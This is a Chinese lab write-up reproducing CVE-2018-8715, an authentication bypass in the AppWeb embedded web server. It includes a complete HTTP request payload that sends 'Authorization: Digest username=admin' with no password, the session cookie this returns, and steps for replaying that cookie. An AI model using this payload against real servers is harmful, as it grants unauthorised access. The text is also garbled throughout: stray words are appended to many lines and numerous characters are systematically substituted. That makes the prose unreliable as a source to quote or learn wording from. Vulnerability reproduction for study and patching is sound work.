AppWeb空密码认证绕过漏洞(CVE-2018-8715)

容器简介:Appweb是一款超快速且紧凑的嵌入式Web服务器,可高效,安全地托管嵌入式Web应用程序。Appweb经过包含ESP Web框架和一系列普遍的功能,大大减小了开发Web应用程序的时间和成本 。git

影响版本:Appweb版本4.0到7.0.2github

漏洞概述:web

  1.  这里涉及到appweb的三种身份验证方式:
    1. basic 传统HTTP基础认证
    2. digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
    3. form 表单认证
  2. 利用方式:
    1. 对于digest摘要身份验证,Authorization标头提供用于验证请求的用户名和密码。若是无效的Authorization标头与已知的有效用户名一块儿使用而未提供密码,则该请求将绕过身份验证并被接受。
    2. 对于表单身份验证,用户凭据经过POST正文表单字段传递。若是提供的用户名字段没有密码表单,则将绕过字段身份验证。

     在这两种状况下,都须要已知的有效用户名,而且密码字段必须不存在。即提供空密码将没法被利用。
 shell

payload:安全

GET / HTTP/1.1
Host: 192.168.183.134:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin

复现记录:此处靶机url为http://192.168.183.134:8080服务器

1.访问ip:8080出现以下界面,能够看到Authorization字段cookie

2.直接构造数据包发送:session

          此靶场的username为admin,能够看到payload成功,记录下此时的cookie值app

Set-Cookie: -http-session-=7::http.session::b4d3f458b57190dfa09de5e256127eaa;框架

  • 利用方式1:
  • 直接cookie重放:

将截取的cookie在请求时重放,

  • 利用方式2:

       post提交,加上cookie值及Authorization: Digest username=admin,其实我以为这个没有什么意义,否则为何还要post正文再交一次数据,可是不加不能执行,多是本身理解错误了。且实际起做用的应该是这段cookie值与Authorization,把post正文删掉也能够成功访问。

总结:说一下个人我的理解,此漏洞是产生的根本缘由是两个未正确检测NULL密码的例程。利用这一点实现正确用户名+空密码获取cookie值,绕过登陆完整验证获取到了身份验证的cookie值,加以利用。在靶场中,此漏洞复现成功后,好像对拿shell没有太大帮助。

欢迎各路大佬指正!

对漏洞源代码分析感兴趣的https://ssd-disclosure.com/archives/3676

参考连接:https://github.com/embedthis/appweb/issues/610

                  https://blog.csdn.net/weixin_43650289/article/details/90692967

                  http://www.javashuo.com/article/p-hupvipxm-es.html